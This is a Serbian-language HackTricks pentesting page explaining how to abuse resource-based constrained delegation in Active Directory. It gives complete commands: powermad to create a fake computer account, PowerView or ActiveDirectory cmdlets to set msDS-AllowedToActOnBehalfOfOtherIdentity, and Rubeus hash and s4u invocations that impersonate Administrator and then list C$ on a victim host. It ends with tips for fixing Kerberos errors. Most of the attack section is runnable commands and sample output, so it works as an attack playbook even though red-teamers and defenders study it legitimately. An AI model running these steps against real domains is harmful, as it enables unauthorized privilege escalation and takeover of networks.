Resource-based Constrained Delegation

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnove delegacije sa ograničenjima zasnovane na resursima

Ovo je slično osnovnoj Delegaciji sa ograničenjima ali umesto davanja dozvola objektu da se predstavlja kao bilo koji korisnik protiv usluge. Delegacija sa ograničenjima zasnovana na resursima postavlja u objektu ko može da se predstavlja kao bilo koji korisnik protiv njega.

U ovom slučaju, ograničeni objekat će imati atribut nazvan msDS-AllowedToActOnBehalfOfOtherIdentity sa imenom korisnika koji može da se predstavlja kao bilo koji drugi korisnik protiv njega.

Još jedna važna razlika između ove Delegacije sa ograničenjima i drugih delegacija je da bilo koji korisnik sa dozvolama za pisanje nad računom mašine (GenericAll/GenericWrite/WriteDacl/WriteProperty/itd) može postaviti msDS-AllowedToActOnBehalfOfOtherIdentity (U drugim oblicima Delegacije bili su vam potrebni privilegije domenskog administratora).

Novi koncepti

U Delegaciji sa ograničenjima je rečeno da je potrebna oznaka TrustedToAuthForDelegation unutar vrednosti userAccountControl korisnika da bi se izvršio S4U2Self. Ali to nije potpuna istina. Realnost je da čak i bez te vrednosti, možete izvršiti S4U2Self protiv bilo kog korisnika ako ste servis (imate SPN) ali, ako imate TrustedToAuthForDelegation vraćeni TGS će biti Forwardable i ako nemate tu oznaku vraćeni TGS neće biti Forwardable.

Međutim, ako TGS korišćen u S4U2Proxy nije Forwardable pokušaj zloupotrebe osnovne Delegacije sa ograničenjima neće uspeti. Ali ako pokušavate da iskoristite Delegaciju sa ograničenjima zasnovanu na resursima, uspeće (ovo nije ranjivost, već funkcionalnost, izgleda).

Struktura napada

Ako imate privilegije ekvivalentne pisanju nad računom računara možete dobiti privilegovan pristup na toj mašini.

Pretpostavimo da napadač već ima privilegije ekvivalentne pisanju nad računarom žrtve.

  1. Napadač kompromituje nalog koji ima SPN ili kreira jedan ("Servis A"). Imajte na umu da bilo koji Admin korisnik bez bilo kakvih drugih posebnih privilegija može kreirati do 10 objekata računara (MachineAccountQuota) i postaviti im SPN. Dakle, napadač može jednostavno kreirati objekat računara i postaviti SPN.

  2. Napadač zloupotrebljava svoje privilegije PISANJA nad računarom žrtve (ServisB) da konfiguriše delegaciju sa ograničenjima zasnovanu na resursima kako bi dozvolio ServisuA da se predstavlja kao bilo koji korisnik protiv tog računara žrtve (ServisB).

  3. Napadač koristi Rubeus da izvrši potpuni napad S4U (S4U2Self i S4U2Proxy) od Servisa A do Servisa B za korisnika sa privilegovanim pristupom Servisu B.

  4. S4U2Self (iz kompromitovanog/kreiranog naloga sa SPN-om): Traži TGS Administratora meni (Nije Forwardable).

  5. S4U2Proxy: Koristi ne Forwardable TGS iz prethodnog koraka da zatraži TGS od Administratora do računara žrtve.

  6. Čak i ako koristite ne Forwardable TGS, budući da iskorišćavate delegaciju sa ograničenjima zasnovanu na resursima, uspeće.

  7. Napadač može proslediti kartu i predstavljati se kao korisnik da bi dobio pristup računaru žrtve ServisB.

Za proveru MachineAccountQuota domena možete koristiti:

Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota

Napad

Kreiranje objekta računara

Možete kreirati objekat računara unutar domena koristeći powermad:

import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

# Check if created
Get-DomainComputer SERVICEA

Konfigurisanje Delegacije sa ograničenjima zasnovane na resursima

Korišćenjem activedirectory PowerShell modula

Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked

Korišćenje powerview-a

$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

Izvođenje potpunog S4U napada

Prvo smo kreirali novi objekat računara sa lozinkom 123456, tako da nam je potreban heš te lozinke:

.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local

Ovo će ispisati RC4 i AES heševe za taj nalog. Sada se može izvršiti napad:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt

Možete generisati više karata samo jednim zahtevom koristeći parametar /altservice u Rubeusu:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt

Imajte na umu da korisnici imaju atribut nazvan "Ne može biti delegiran". Ako je ovaj atribut postavljen na True, nećete moći da se predstavite kao taj korisnik. Ova svojstva mogu se videti unutar Bloodhound-a.

Pristupanje

Poslednja komanda će izvršiti potpuni S4U napad i ubaciti TGS od Administratora ka ciljnom računaru u memoriju. U ovom primeru je zatražen TGS za uslugu CIFS od Administratora, tako da ćete moći da pristupite C$:

ls \\victim.domain.local\C$

Zloupotreba različitih servisnih karata

Saznajte o dostupnim servisnim kartama ovde.

Kerberos greške

  • KDC_ERR_ETYPE_NOTSUPP: To znači da je Kerberos konfigurisan da ne koristi DES ili RC4, a vi dostavljate samo RC4 heš. Dostavite Rubeusu barem AES256 heš (ili jednostavno dostavite rc4, aes128 i aes256 hešove). Primer: [Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())

  • KRB_AP_ERR_SKEW: To znači da je vreme trenutnog računara različito od vremena DC-a i da Kerberos ne radi ispravno.

  • preauth_failed: To znači da dati korisničko ime + heševi ne funkcionišu za prijavljivanje. Možda ste zaboravili da stavite "$" unutar korisničkog imena prilikom generisanja heševa (.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local)

  • KDC_ERR_BADOPTION: Ovo može značiti:

    • Korisnik kog pokušavate da imitirate ne može pristupiti željenoj usluzi (jer ne možete da ga imitirate ili nema dovoljno privilegija)

    • Tražena usluga ne postoji (ako tražite kartu za winrm, ali winrm nije pokrenut)

    • Lažni računar koji je kreiran je izgubio privilegije nad ranjivim serverom i morate ih vratiti.

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

  • Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!

  • Nabavite zvanični PEASS & HackTricks swag](https://peass.creator-spring.com)

  • Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova

  • Pridružite se 💬 Discord grupi ili telegram grupi](https://t.me/peass) ili nas pratite na Twitteru 🐦 @carlospolopm.

  • Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.

Last updated